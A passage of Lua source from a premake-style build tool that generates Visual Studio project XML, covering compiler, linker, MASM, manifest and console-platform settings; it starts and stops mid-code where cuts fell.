vc2010.configurationPropertyGroup(cfg, cfginfo)\n_p(1, '<PropertyGroup '..if_config_and_platform() ..' Label=\"Configuration\">'\n, premake.esc(cfginfo.name))\nlocal is2019 = premake.action.current() == premake.action.get(\"vs2019\")\nif is2019 then\n _p(2, '<VCProjectVersion>%s</VCProjectVersion>', action.vstudio.toolsVersion)\nif cfg.flags.UnitySupport then\n _p(2, '<EnableUnitySupport>true</EnableUnitySupport>')\nend\nend\n_p(2, '<ConfigurationType>%s</ConfigurationType>', vc2010.config_type(cfg))\n_p(2, '<UseDebugLibraries>%s</UseDebugLibraries>', iif(optimisation(cfg) == \"Disabled\",\"true\",\"false\"))\n_p(2, '<PlatformToolset>%s</PlatformToolset>', premake.vstudio.toolset)\nif os.is64bit() then\n_p(2, '<PreferredToolArchitecture>x64</PreferredToolArchitecture>')\nend\nif cfg.flags.MFC then\n_p(2,'<UseOfMfc>%s</UseOfMfc>', iif(cfg.flags.StaticRuntime, \"Static\", \"Dynamic\"))\nend\nif cfg.flags.ATL or cfg.flags.StaticATL then\n_p(2,'<UseOfAtl>%s</UseOfAtl>', iif(cfg.flags.StaticATL, \"Static\", \"Dynamic\"))\nend\nif cfg.flags.Unicode then\n_p(2,'<CharacterSet>Unicode</CharacterSet>')\nend\nif cfg.flags.Managed then\n_p(2,'<CLRSupport>true</CLRSupport>')\nend\nif cfg.platform == \"TegraAndroid\" then\nif cfg.androidtargetapi then\n_p(2,'<AndroidTargetAPI>android-%s</AndroidTargetAPI>', cfg.androidtargetapi)\nend\nif cfg.androidminapi then\n_p(2,'<AndroidMinAPI>android-%s</AndroidMinAPI>', cfg.androidminapi)\nend\nif cfg.androidarch then\n_p(2,'<AndroidArch>%s</AndroidArch>', cfg.androidarch)\nend\nif cfg.androidndktoolchainversion then\n_p(2,'<NdkToolchainVersion>%s</NdkToolchainVersion>', cfg.androidndktoolchainversion)\nend\nif cfg.androidstltype then\n_p(2,'<AndroidStlType>%s</AndroidStlType>', cfg.androidstltype)\nend\nend\nif cfg.platform == \"NX32\" or cfg.platform == \"NX64\" then\n_p(2,'<NintendoSdkRoot>$(NINTENDO_SDK_ROOT)\\\\</NintendoSdkRoot>')\n_p(2,'<NintendoSdkSpec>NX</NintendoSdkSpec>')\nif premake.config.isdebugbuild(cfg) then\n_p(2,'<NintendoSdkBuildType>Debug</NintendoSdkBuildType>')\nelse\n_p(2,'<NintendoSdkBuildType>Release</NintendoSdkBuildType>')\nend\nend\nif cfg.flags.Symbols and (premake.action.current() == premake.action.get(\"vs2017\") or is2019) then\n_p(2, '<DebugSymbols>true</DebugSymbols>')\nend\n_p(1,'</PropertyGroup>')\nend\nlocal function import_props(prj)\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\n_p(1,'<ImportGroup '..if_config_and_platform() ..' Label=\"PropertySheets\">'\n,premake.esc(cfginfo.name))\n_p(2,'<Import Project=\"$(UserRootDir)\\\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists(\\'$(UserRootDir)\\\\Microsoft.Cpp.$(Platform).user.props\\')\" Label=\"LocalAppDataPlatform\" />')\nif #cfg.propertysheets > 0 then\nlocal dirs = cfg.propertysheets\nfor _, dir in ipairs(dirs) do\n_p(2,'<Import Project=\"%s\" />', path.translate(dir))\nend\nend\n_p(1,'</ImportGroup>')\nend\nend\nlocal function add_trailing_backslash(dir)\nif dir:len() > 0 and dir:sub(-1) ~= \"\\\\\" then\nreturn dir..\"\\\\\"\nend\nreturn dir\nend\nfunction vc2010.outputProperties(prj)\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\nlocal target = cfg.buildtarget\nlocal outdir = add_trailing_backslash(target.directory)\nlocal intdir = add_trailing_backslash(iif(action.vstudio.intDirAbsolute\n, path.translate(\n path.join(prj.solution.location, cfg.objectsdir)\n, '\\\\')\n, cfg.objectsdir\n))\n_p(1,'<PropertyGroup '..if_config_and_platform() ..'>', premake.esc(cfginfo.name))\n_p(2,'<OutDir>%s</OutDir>', iif(outdir:len() > 0, premake.esc(outdir), \".\\\\\"))\nif cfg.platform == \"Xbox360\" then\n_p(2,'<OutputFile>$(OutDir)%s</OutputFile>', premake.esc(target.name))\nend\n_p(2,'<IntDir>%s</IntDir>', premake.esc(intdir))\n_p(2,'<TargetName>%s</TargetName>', premake.esc(path.getbasename(target.name)))\n_p(2,'<TargetExt>%s</TargetExt>', premake.esc(path.getextension(target.name)))\nif cfg.kind == \"SharedLib\" then\nlocal ignore = (cfg.flags.NoImportLib ~= nil)\n_p(2,'<IgnoreImportLibrary>%s</IgnoreImportLibrary>', tostring(ignore))\nend\nif cfg.platform == \"Durango\" then\n_p(2, '<ReferencePath>$(Console_SdkLibPath);$(Console_SdkWindowsMetadataPath)</ReferencePath>')\n_p(2, '<LibraryPath>$(Console_SdkLibPath)</LibraryPath>')\n_p(2, '<LibraryWPath>$(Console_SdkLibPath);$(Console_SdkWindowsMetadataPath)</LibraryWPath>')\n_p(2, '<IncludePath>$(Console_SdkIncludeRoot)</IncludePath>')\n_p(2, '<ExecutablePath>$(Console_SdkRoot)bin;$(VCInstallDir)bin\\\\x86_amd64;$(VCInstallDir)bin;$(WindowsSDK_ExecutablePath_x86);$(VSInstallDir)Common7\\\\Tools\\\\bin;$(VSInstallDir)Common7\\\\tools;$(VSInstallDir)Common7\\\\ide;$(ProgramFiles)\\\\HTML Help Workshop;$(MSBuildToolsPath32);$(FxCopDir);$(PATH);</ExecutablePath>')\nif cfg.imagepath then\n_p(2, '<LayoutDir>%s</LayoutDir>', cfg.imagepath)\nelse\n_p(2, '<LayoutDir>%s</LayoutDir>', prj.name)\nend\nif cfg.pullmappingfile ~= nil then\n_p(2,'<PullMappingFile>%s</PullMappingFile>', premake.esc(cfg.pullmappingfile))\nend\n_p(2, '<LayoutExtensionFilter>*.pdb;*.ilk;*.exp;*.lib;*.winmd;*.appxrecipe;*.pri;*.idb</LayoutExtensionFilter>')\n_p(2, '<IsolateConfigurationsOnDeploy>true</IsolateConfigurationsOnDeploy>')\nend\nif cfg.kind ~= \"StaticLib\" then\n_p(2,'<LinkIncremental>%s</LinkIncremental>', tostring(premake.config.isincrementallink(cfg)))\nend\nif cfg.applicationdatadir ~= nil then\n_p(2,'<ApplicationDataDir>%s</ApplicationDataDir>', premake.esc(cfg.applicationdatadir))\nend\nif cfg.flags.NoManifest then\n_p(2,'<GenerateManifest>false</GenerateManifest>')\nend\n_p(1,'</PropertyGroup>')\nend\nend\nlocal function runtime(cfg)\nlocal runtime\nlocal flags = cfg.flags\nif premake.config.isdebugbuild(cfg) then\nruntime = iif(flags.StaticRuntime and not flags.Managed, \"MultiThreadedDebug\", \"MultiThreadedDebugDLL\")\nelse\nruntime = iif(flags.StaticRuntime and not flags.Managed, \"MultiThreaded\", \"MultiThreadedDLL\")\nend\nreturn runtime\nend\nlocal function precompiled_header(cfg)\n if not cfg.flags.NoPCH and cfg.pchheader then\n_p(3,'<PrecompiledHeader>Use</PrecompiledHeader>')\n_p(3,'<PrecompiledHeaderFile>%s</PrecompiledHeaderFile>', cfg.pchheader)\nelse\n_p(3,'<PrecompiledHeader></PrecompiledHeader>')\nend\nend\nlocal function preprocessor(indent,cfg,escape)\nif #cfg.defines > 0 then\nlocal defines = table.concat(cfg.defines, \";\")\nif escape then\ndefines = defines:gsub('\"', '\\\\\"')\nend\nlocal isPreprocessorDefinitionPresent = string.find(defines, \"%%%(PreprocessorDefinitions%)\")\nif isPreprocessorDefinitionPresent then\n_p(indent,'<PreprocessorDefinitions>%s</PreprocessorDefinitions>'\n,premake.esc(defines))\nelse\n_p(indent,'<PreprocessorDefinitions>%s;%%(PreprocessorDefinitions)</PreprocessorDefinitions>'\n,premake.esc(defines))\nend\nelse\n_p(indent,'<PreprocessorDefinitions></PreprocessorDefinitions>')\nend\nend\nlocal function include_dirs(indent,cfg)\nlocal includedirs = table.join(cfg.userincludedirs, cfg.includedirs, cfg.systemincludedirs)\nif #includedirs> 0 then\n_p(indent,'<AdditionalIncludeDirectories>%s;%%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>'\n,premake.esc(path.translate(table.concat(includedirs, \";\"), '\\\\')))\nend\nend\nlocal function using_dirs(indent,cfg)\nif #cfg.usingdirs > 0 then\n_p(indent,'<AdditionalUsingDirectories>%s;%%(AdditionalUsingDirectories)</AdditionalUsingDirectories>'\n,premake.esc(path.translate(table.concat(cfg.usingdirs, \";\"), '\\\\')))\nend\nend\nlocal function resource_compile(cfg)\n_p(2,'<ResourceCompile>')\npreprocessor(3,cfg,true)\ninclude_dirs(3,cfg)\n_p(2,'</ResourceCompile>')\nend\nlocal function cppstandard_vs2017_or_2019(cfg)\nif cfg.flags.CppLatest then\n_p(3, '<LanguageStandard>stdcpplatest</LanguageStandard>')\n_p(3, '<EnableModules>true</EnableModules>')\nelseif cfg.flags.Cpp17 then\n_p(3, '<LanguageStandard>stdcpp17</LanguageStandard>')\nelseif cfg.flags.Cpp14 then\n_p(3, '<LanguageStandard>stdcpp14</LanguageStandard>')\nend\nend\nlocal function exceptions(cfg)\nif cfg.platform == \"Orbis\" then\nif cfg.flags.NoExceptions then\n_p(3, '<CppExceptions>false</CppExceptions>')\nend\nelseif cfg.platform == \"TegraAndroid\" then\nif cfg.flags.NoExceptions then\n_p(3, '<GccExceptionHandling>false</GccExceptionHandling>')\nend\nelse\nif cfg.flags.NoExceptions then\n_p(3, '<ExceptionHandling>false</ExceptionHandling>')\nelseif cfg.flags.SEH then\n_p(3, '<ExceptionHandling>Async</ExceptionHandling>')\nend\nend\nend\nlocal function rtti(cfg)\nif cfg.flags.NoRTTI and not cfg.flags.Managed then\n_p(3,'<RuntimeTypeInfo>false</RuntimeTypeInfo>')\nend\nend\nlocal function calling_convention(cfg)\nif cfg.flags.FastCall then\n_p(3,'<CallingConvention>FastCall</CallingConvention>')\nelseif cfg.flags.StdCall then\n_p(3,'<CallingConvention>StdCall</CallingConvention>')\nend\nend\nlocal function wchar_t_builtin(cfg)\nif cfg.flags.NativeWChar then\n_p(3,'<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>')\nelseif cfg.flags.NoNativeWChar then\n_p(3,'<TreatWChar_tAsBuiltInType>false</TreatWChar_tAsBuiltInType>')\nend\nend\nlocal function sse(cfg)\nif cfg.flags.EnableSSE then\n_p(3, '<EnableEnhancedInstructionSet>StreamingSIMDExtensions</EnableEnhancedInstructionSet>')\nelseif cfg.flags.EnableSSE2 then\n_p(3, '<EnableEnhancedInstructionSet>StreamingSIMDExtensions2</EnableEnhancedInstructionSet>')\nelseif cfg.flags.EnableAVX then\n_p(3, '<EnableEnhancedInstructionSet>AdvancedVectorExtensions</EnableEnhancedInstructionSet>')\nelseif cfg.flags.EnableAVX2 then\n_p(3, '<EnableEnhancedInstructionSet>AdvancedVectorExtensions2</EnableEnhancedInstructionSet>')\nend\nend\nlocal function floating_point(cfg)\nif cfg.platform == \"Orbis\" then\nif cfg.flags.FloatFast then\n_p(3,'<FastMath>true</FastMath>')\nend\nelseif cfg.platform == \"TegraAndroid\" then\nelse\nif cfg.flags.FloatFast then\n_p(3,'<FloatingPointModel>Fast</FloatingPointModel>')\nelseif cfg.flags.FloatStrict and not cfg.flags.Managed then\n_p(3,'<FloatingPointModel>Strict</FloatingPointModel>')\nend\nend\nend\nlocal function debug_info(cfg)\nlocal debug_info = ''\nif cfg.flags.Symbols then\nif cfg.flags.C7DebugInfo then\ndebug_info = \"OldStyle\"\nelseif (action.vstudio.supports64bitEditContinue == false and cfg.platform == \"x64\")\nor not premake.config.iseditandcontinue(cfg)\nthen\ndebug_info = \"ProgramDatabase\"\nelse\ndebug_info = \"EditAndContinue\"\nend\nend\n_p(3,'<DebugInformationFormat>%s</DebugInformationFormat>',debug_info)\nend\nlocal function minimal_build(cfg)\nif premake.config.isdebugbuild(cfg) and cfg.flags.EnableMinimalRebuild then\n_p(3,'<MinimalRebuild>true</MinimalRebuild>')\nelse\n_p(3,'<MinimalRebuild>false</MinimalRebuild>')\nend\nend\nlocal function compile_language(cfg)\nif cfg.options.ForceCPP then\n_p(3,'<CompileAs>CompileAsCpp</CompileAs>')\nelse\nif cfg.language == \"C\" then\n_p(3,'<CompileAs>CompileAsC</CompileAs>')\nend\nend\nend\nlocal function forcedinclude_files(indent,cfg)\nif #cfg.forcedincludes > 0 then\n_p(indent,'<ForcedIncludeFiles>%s</ForcedIncludeFiles>'\n,premake.esc(path.translate(table.concat(cfg.forcedincludes, \";\"), '\\\\')))\nend\nend\nlocal function vs10_clcompile(cfg)\n_p(2,'<ClCompile>')\nlocal unsignedChar = \"/J \"\nlocal buildoptions = cfg.buildoptions\nif cfg.platform == \"Orbis\" then\nunsignedChar = \"-funsigned-char \";\n_p(3,'<GenerateDebugInformation>%s</GenerateDebugInformation>', tostring(cfg.flags.Symbols ~= nil))\nend\nif cfg.language == \"C\" and not cfg.options.ForceCPP then\nbuildoptions = table.join(buildoptions, cfg.buildoptions_c)\nelse\nbuildoptions = table.join(buildoptions, cfg.buildoptions_cpp)\nend\n_p(3,'<AdditionalOptions>%s %s%%(AdditionalOptions)</AdditionalOptions>'\n, table.concat(premake.esc(buildoptions), \" \")\n, iif(cfg.flags.UnsignedChar and cfg.platform ~= \"TegraAndroid\", unsignedChar, \" \")\n)\nif cfg.platform == \"TegraAndroid\" then\n_p(3,'<SignedChar>%s</SignedChar>', tostring(cfg.flags.UnsignedChar == nil))\n_p(3,'<GenerateDebugInformation>%s</GenerateDebugInformation>', tostring(cfg.flags.Symbols ~= nil))\nif cfg.androidcppstandard then\n_p(3,'<CppLanguageStandard>%s</CppLanguageStandard>', cfg.androidcppstandard)\nend\nend\nif cfg.platform == \"Orbis\" then\nlocal opt = optimisation(cfg)\nif opt == \"Disabled\" then\n_p(3,'<OptimizationLevel>Level0</OptimizationLevel>')\nelseif opt == \"MinSpace\" then\n_p(3,'<OptimizationLevel>Levelz</OptimizationLevel>') -- Oz is more aggressive than Os\nelseif opt == \"MaxSpeed\" then\n_p(3,'<OptimizationLevel>Level3</OptimizationLevel>')\nelse\n_p(3,'<OptimizationLevel>Level2</OptimizationLevel>')\nend\nelseif cfg.platform == \"TegraAndroid\" then\nlocal opt = optimisation(cfg)\nif opt == \"Disabled\" then\n_p(3,'<OptimizationLevel>O0</OptimizationLevel>')\nelseif opt == \"MinSpace\" then\n_p(3,'<OptimizationLevel>Os</OptimizationLevel>')\nelseif opt == \"MaxSpeed\" then\n_p(3,'<OptimizationLevel>O3</OptimizationLevel>')\nelse\n_p(3,'<OptimizationLevel>O2</OptimizationLevel>')\nend\nelse\n_p(3,'<Optimization>%s</Optimization>', optimisation(cfg))\nend\ninclude_dirs(3, cfg)\nusing_dirs(3, cfg)\npreprocessor(3, cfg)\nminimal_build(cfg)\nif premake.config.isoptimizedbuild(cfg.flags) then\nif cfg.flags.NoOptimizeLink and cfg.flags.NoEditAndContinue then\n_p(3, '<StringPooling>false</StringPooling>')\n_p(3, '<FunctionLevelLinking>false</FunctionLevelLinking>')\nelse\n_p(3, '<StringPooling>true</StringPooling>')\n_p(3, '<FunctionLevelLinking>true</FunctionLevelLinking>')\nend\nelse\n_p(3, '<FunctionLevelLinking>true</FunctionLevelLinking>')\nif cfg.flags.NoRuntimeChecks then\n_p(3, '<BasicRuntimeChecks>Default</BasicRuntimeChecks>')\nelseif not cfg.flags.Managed then\n_p(3, '<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>')\nend\nif cfg.flags.ExtraWarnings then\nend\nend\nif cfg.platform == \"Durango\" or cfg.flags.NoWinRT then\n_p(3, '<CompileAsWinRT>false</CompileAsWinRT>')\nend\n_p(3, '<RuntimeLibrary>%s</RuntimeLibrary>', runtime(cfg))\nif cfg.flags.NoBufferSecurityCheck then\n_p(3, '<BufferSecurityCheck>false</BufferSecurityCheck>')\nend\nif not cfg.flags.NoMultiProcessorCompilation and not cfg.flags.EnableMinimalRebuild then\n_p(3, '<MultiProcessorCompilation>true</MultiProcessorCompilation>')\nelse\n_p(3, '<MultiProcessorCompilation>false</MultiProcessorCompilation>')\nend\nprecompiled_header(cfg)\nif cfg.platform == \"Orbis\" then\nif cfg.flags.PedanticWarnings then\n_p(3, '<Warnings>MoreWarnings</Warnings>')\n_p(3, '<ExtraWarnings>true</ExtraWarnings>')\nelseif cfg.flags.ExtraWarnings then\n_p(3, '<Warnings>NormalWarnings</Warnings>')\n_p(3, '<ExtraWarnings>true</ExtraWarnings>')\nelseif cfg.flags.MinimumWarnings then\n_p(3, '<Warnings>WarningsOff</Warnings>')\n_p(3, '<ExtraWarnings>false</ExtraWarnings>')\nelse\n_p(3, '<Warnings>NormalWarnings</Warnings>')\n_p(3, '<ExtraWarnings>false</ExtraWarnings>')\nend\nif cfg.flags.FatalWarnings then\n_p(3, '<WarningsAsErrors>true</WarningsAsErrors>')\nend\nelseif cfg.platform == \"TegraAndroid\" then\nif cfg.flags.PedanticWarnings or cfg.flags.ExtraWarnings then\n_p(3, '<Warnings>AllWarnings</Warnings>')\nelseif cfg.flags.MinimumWarnings then\n_p(3, '<Warnings>DisableAllWarnings</Warnings>')\nelse\n_p(3, '<Warnings>NormalWarnings</Warnings>')\nend\nif cfg.flags.FatalWarnings then\n_p(3, '<WarningsAsErrors>true</WarningsAsErrors>')\nend\nelse\nif cfg.flags.PedanticWarnings then\n_p(3, '<WarningLevel>EnableAllWarnings</WarningLevel>')\nelseif cfg.flags.ExtraWarnings then\n_p(3, '<WarningLevel>Level4</WarningLevel>')\nelseif cfg.flags.MinimumWarnings then\n_p(3, '<WarningLevel>Level1</WarningLevel>')\nelse\n_p(3 ,'<WarningLevel>Level3</WarningLevel>')\nend\nend\nif cfg.flags.FatalWarnings then\n_p(3, '<TreatWarningAsError>true</TreatWarningAsError>')\nend\nif premake.action.current() == premake.action.get(\"vs2017\") or\n premake.action.current() == premake.action.get(\"vs2019\") then\ncppstandard_vs2017_or_2019(cfg)\nend\nexceptions(cfg)\nrtti(cfg)\ncalling_convention(cfg)\nwchar_t_builtin(cfg)\nsse(cfg)\nfloating_point(cfg)\ndebug_info(cfg)\nif cfg.flags.Symbols then\nif cfg.kind == \"StaticLib\" then\n_p(3, '<ProgramDataBaseFileName>$(OutDir)%s.pdb</ProgramDataBaseFileName>'\n, path.getbasename(cfg.buildtarget.name)\n)\nelse\n_p(3, '<ProgramDataBaseFileName>$(IntDir)%s.compile.pdb</ProgramDataBaseFileName>'\n, path.getbasename(cfg.buildtarget.name)\n)\nend\nend\nif cfg.flags.Hotpatchable then\n_p(3, '<CreateHotpatchableImage>true</CreateHotpatchableImage>')\nend\nif cfg.flags.NoFramePointer then\n_p(3, '<OmitFramePointers>true</OmitFramePointers>')\nend\nif cfg.flags.UseFullPaths then\n_p(3, '<UseFullPaths>true</UseFullPaths>')\nend\nif cfg.flags.NoJMC then\n_p(3,'<SupportJustMyCode>false</SupportJustMyCode>' )\nend\ncompile_language(cfg)\nforcedinclude_files(3,cfg);\nif vstudio.diagformat then\n_p(3, '<DiagnosticsFormat>%s</DiagnosticsFormat>', vstudio.diagformat)\nelse\n_p(3, '<DiagnosticsFormat>Caret</DiagnosticsFormat>')\nend\n_p(2,'</ClCompile>')\nend\nlocal function event_hooks(cfg)\nif #cfg.postbuildcommands> 0 then\n _p(2,'<PostBuildEvent>')\n_p(3,'<Command>%s</Command>',premake.esc(table.implode(cfg.postbuildcommands, \"\", \"\", \"\\r\\n\")))\n_p(2,'</PostBuildEvent>')\nend\nif #cfg.prebuildcommands> 0 then\n _p(2,'<PreBuildEvent>')\n_p(3,'<Command>%s</Command>',premake.esc(table.implode(cfg.prebuildcommands, \"\", \"\", \"\\r\\n\")))\n_p(2,'</PreBuildEvent>')\nend\nif #cfg.prelinkcommands> 0 then\n _p(2,'<PreLinkEvent>')\n_p(3,'<Command>%s</Command>',premake.esc(table.implode(cfg.prelinkcommands, \"\", \"\", \"\\r\\n\")))\n_p(2,'</PreLinkEvent>')\nend\nend\nlocal function additional_options(indent,cfg)\nif #cfg.linkoptions > 0 then\n_p(indent,'<AdditionalOptions>%s %%(AdditionalOptions)</AdditionalOptions>',\ntable.concat(premake.esc(cfg.linkoptions), \" \"))\nend\nend\nlocal function link_target_machine(index,cfg)\nlocal platforms = {x32 = 'MachineX86', x64 = 'MachineX64'}\nif platforms[cfg.platform] then\n_p(index,'<TargetMachine>%s</TargetMachine>', platforms[cfg.platform])\nend\nend\nlocal function item_def_lib(cfg)\nif cfg.kind == 'StaticLib' and cfg.platform ~= \"Xbox360\" then\n_p(1,'<Lib>')\n_p(2,'<OutputFile>$(OutDir)%s</OutputFile>',cfg.buildtarget.name)\nadditional_options(2,cfg)\nlink_target_machine(2,cfg)\n_p(1,'</Lib>')\nend\nend\nlocal function import_lib(cfg)\nif cfg.kind == \"SharedLib\" then\nlocal implibname = cfg.linktarget.fullpath\n_p(3,'<ImportLibrary>%s</ImportLibrary>',iif(cfg.flags.NoImportLib, cfg.objectsdir .. \"\\\\\" .. path.getname(implibname), implibname))\nend\nend\nlocal function hasmasmfiles(prj)\nlocal files = vc2010.getfilegroup(prj, \"MASM\")\nreturn #files > 0\nend\nlocal function ismanagedprj(prj, cfgname, pltname)\nlocal cfg = premake.getconfig(prj, cfgname, pltname)\nreturn cfg.flags.Managed == true\nend\nlocal function getcfglinks(cfg)\nlocal haswholearchive = #cfg.wholearchive > 0\nlocal msvcnaming = premake.getnamestyle(cfg) == \"windows\"\nlocal iscppprj = premake.iscppproject(cfg)\nlocal isnetprj = premake.isdotnetproject(cfg)\nlocal linkobjs = {}\nlocal links = iif(haswholearchive\n, premake.getlinks(cfg, \"all\", \"object\")\n, premake.getlinks(cfg, \"system\", \"fullpath\")\n)\nfor _, link in ipairs(links) do\nlocal name = nil\nlocal directory = nil\nlocal whole = nil\nif type(link) == \"table\" then\nif not ismanagedprj(link.project, cfg.name, cfg.platform) then\nname = link.linktarget.basename\ndirectory = path.rebase(link.linktarget.directory, link.location, cfg.location)\nwhole = table.icontains(cfg.wholearchive, link.project.name)\nend\nelse\nname = link\nwhole = table.icontains(cfg.wholearchive, link)\nend\nif name then\nif haswholearchive and msvcnaming then\nif iscppprj then\nname = name .. \".lib\"\nelseif isnetprj then\nname = name .. \".dll\"\nend\nend\ntable.insert(linkobjs, {name=name, directory=directory, wholearchive=whole})\nend\nend\nreturn linkobjs\nend\nlocal function vs10_masm(prj, cfg)\nif hasmasmfiles(prj) then\n_p(2, '<MASM>')\n_p(3,'<AdditionalOptions>%s %%(AdditionalOptions)</AdditionalOptions>'\n, table.concat(premake.esc(table.join(cfg.buildoptions, cfg.buildoptions_asm)), \" \")\n)\nlocal includedirs = table.join(cfg.userincludedirs, cfg.includedirs, cfg.systemincludedirs)\nif #includedirs > 0 then\n_p(3, '<IncludePaths>%s;%%(IncludePaths)</IncludePaths>'\n, premake.esc(path.translate(table.concat(includedirs, \";\"), '\\\\'))\n)\nend\nlocal defines = table.join(cfg.defines)\ntable.insertflat(defines, iif(premake.config.isdebugbuild(cfg), \"_DEBUG\", {}))\ntable.insert(defines, iif(cfg.platform == \"x64\", \"_WIN64\", \"_WIN32\"))\ntable.insert(defines, iif(prj.kind == \"SharedLib\", \"_EXPORT=EXPORT\", \"_EXPORT=\"))\n_p(3, '<PreprocessorDefinitions>%s;%%(PreprocessorDefinitions)</PreprocessorDefinitions>'\n, premake.esc(table.concat(defines, \";\"))\n)\nif cfg.flags.FatalWarnings then\n_p(3,'<TreatWarningsAsErrors>true</TreatWarningsAsErrors>')\nend\nif cfg.flags.MinimumWarnings then\n_p(3,'<WarningLevel>0</WarningLevel>')\nelse\n_p(3,'<WarningLevel>3</WarningLevel>')\nend\n_p(2, '</MASM>')\nend\nend\nlocal function additional_manifest(cfg)\nif(cfg.dpiawareness ~= nil) then\n_p(2,'<Manifest>')\nif(cfg.dpiawareness == \"None\") then\n_p(3, '<EnableDpiAwareness>false</EnableDpiAwareness>')\nend\nif(cfg.dpiawareness == \"High\") then\n_p(3, '<EnableDpiAwareness>true</EnableDpiAwareness>')\nend\nif(cfg.dpiawareness == \"HighPerMonitor\") then\n_p(3, '<EnableDpiAwareness>PerMonitorHighDPIAware</EnableDpiAwareness>')\nend\n_p(2,'</Manifest>')\nend\nend\nfunction vc2010.link(cfg)\nlocal vs2017OrLater = premake.action.current() == premake.action.get(\"vs2017\") or\n premake.action.current() == premake.action.get(\"vs2019\")\nlocal links = getcfglinks(cfg)\n_p(2,'<Link>')\n_p(3,'<SubSystem>%s</SubSystem>', iif(cfg.kind == \"ConsoleApp\", \"Console\", \"Windows\"))\nif vs2017OrLater and cfg.flags.FullSymbols then\n_p(3,'<GenerateDebugInformation>DebugFull</GenerateDebugInformation>')\nelse\n_p(3,'<GenerateDebugInformation>%s</GenerateDebugInformation>', tostring(cfg.flags.Symbols ~= nil))\nend\nif cfg.flags.Symbols then\n_p(3, '<ProgramDatabaseFile>$(OutDir)%s.pdb</ProgramDatabaseFile>'\n, path.getbasename(cfg.buildtarget.name)\n)\nend\nif premake.config.islinkeroptimizedbuild(cfg.flags) then\nif cfg.platform == \"Orbis\" then\n_p(3,'<DataStripping>StripFuncsAndData</DataStripping>')\n_p(3,'<DuplicateStripping>true</DuplicateStripping>')\nelse\n_p(3,'<EnableCOMDATFolding>true</EnableCOMDATFolding>')\n_p(3,'<OptimizeReferences>true</OptimizeReferences>')\nend\nelseif cfg.platform == \"Orbis\" and premake.config.iseditandcontinue(cfg) then\n_p(3,'<EditAndContinue>true</EditAndContinue>')\nend\nif cfg.finalizemetasource ~= nil then\n_p(3,'<FinalizeMetaSource>%s</FinalizeMetaSource>', premake.esc(cfg.finalizemetasource))\nend\nif cfg.kind ~= 'StaticLib' then\nvc2010.additionalDependencies(3, cfg, links)\nvc2010.additionalLibraryDirectories(3, cfg, links)\n_p(3,'<OutputFile>$(OutDir)%s</OutputFile>', cfg.buildtarget.name)\nif vc2010.config_type(cfg) == 'Application' and not cfg.flags.WinMain and not cfg.flags.Managed then\nif cfg.flags.Unicode then\n_p(3,'<EntryPointSymbol>wmainCRTStartup</EntryPointSymbol>')\nelse\n_p(3,'<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>')\nend\nend\nimport_lib(cfg)\nlocal deffile = premake.findfile(cfg, \".def\")\nif deffile then\n_p(3,'<ModuleDefinitionFile>%s</ModuleDefinitionFile>', deffile)\nend\nlink_target_machine(3,cfg)\nadditional_options(3,cfg)\nif cfg.flags.NoWinMD and vstudio.iswinrt() and prj.kind == \"WindowedApp\" then\n_p(3,'<GenerateWindowsMetadata>false</GenerateWindowsMetadata>' )\nend\nend\nif cfg.platform == \"TegraAndroid\" then\nif cfg.androidlinker then\n_p(3,'<UseLinker>%s</UseLinker>',cfg.androidlinker)\nend\nend\nif cfg.flags.Hotpatchable then\n_p(3, '<CreateHotPatchableImage>Enabled</CreateHotPatchableImage>')\nend\nif cfg.flags.GenerateMapFiles then\n_p(3, '<GenerateMapFile>true</GenerateMapFile>')\nend\n_p(2,'</Link>')\nif #cfg.wholearchive > 0 then\n_p(2, '<ProjectReference>')\n_p(3, '<LinkLibraryDependencies>false</LinkLibraryDependencies>')\n_p(2, '</ProjectReference>')\nend\nend\nfunction vc2010.additionalLibraryDirectories(tab, cfg, links)\nlocal dirs = cfg.libdirs\nfor _, link in ipairs(links) do\nif link.directory and not table.icontains(dirs, link.directory) then\ntable.insert(dirs, link.directory)\nend\nend\n_p(tab, '<AdditionalLibraryDirectories>%s;%%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>'\n, premake.esc(path.translate(table.concat(dirs, ';'), '\\\\'))\n)\nend\nfunction vc2010.additionalDependencies(tab, cfg, links)\nif #links > 0 then\nlocal deps = \"\"\nif cfg.platform == \"Orbis\" then\nlocal iswhole = false\nfor _, link in ipairs(links) do\nif link.wholearchive and not iswhole then\ndeps = deps .. \"--whole-archive;\"\niswhole = true\nelseif not link.wholearchive and iswhole then\ndeps = deps .. \"--no-whole-archive;\"\niswhole = false\nend\ndeps = deps .. \"-l\" .. link.name .. \";\"\nend\nelse\nfor _, link in ipairs(links) do\nif link.wholearchive then\ndeps = deps .. \"/WHOLEARCHIVE:\" .. link.name .. \";\"\nelse\ndeps = deps .. link.name .. \";\"\nend\nend\nend\nif cfg.platform == \"TegraAndroid\" then\ndeps = \"-Wl,--start-group;\" .. deps .. \";-Wl,--end-group\"\nend\n_p(tab, '<AdditionalDependencies>%s;%s</AdditionalDependencies>'\n, deps\n, iif(cfg.platform == \"Durango\"\n, '%(XboxExtensionsDependencies)'\n, '%(AdditionalDependencies)'\n)\n)\nelseif cfg.platform == \"Durango\" then\n_p(tab, '<AdditionalDependencies>%%(XboxExtensionsDependencies)</AdditionalDependencies>')\nend\nend\nfunction ant_build(prj, cfg)\nif cfg.platform == \"TegraAndroid\" then\nlocal files = vc2010.getfilegroup(prj, \"AndroidBuild\")\n_p(2,'<AntBuild>')\nif #files > 0 then\n_p(3,'<AndroidManifestLocation>%s</AndroidManifestLocation>',path.translate(files[1].name))\nend\nlocal isdebugbuild = premake.config.isdebugbuild(cfg)\n_p(3,'<AntBuildType>%s</AntBuildType>',iif(isdebugbuild, 'Debug','Release'))\n_p(3,'<Debuggable>%s</Debuggable>',tostring(cfg.flags.AntBuildDebuggable ~= nil))\nif #cfg.antbuildjavasourcedirs > 0 then\nlocal dirs = table.concat(cfg.antbuildjavasourcedirs,\";\")\n_p(3,'<JavaSourceDir>%s</JavaSourceDir>',dirs)\nend\nif #cfg.antbuildjardirs > 0 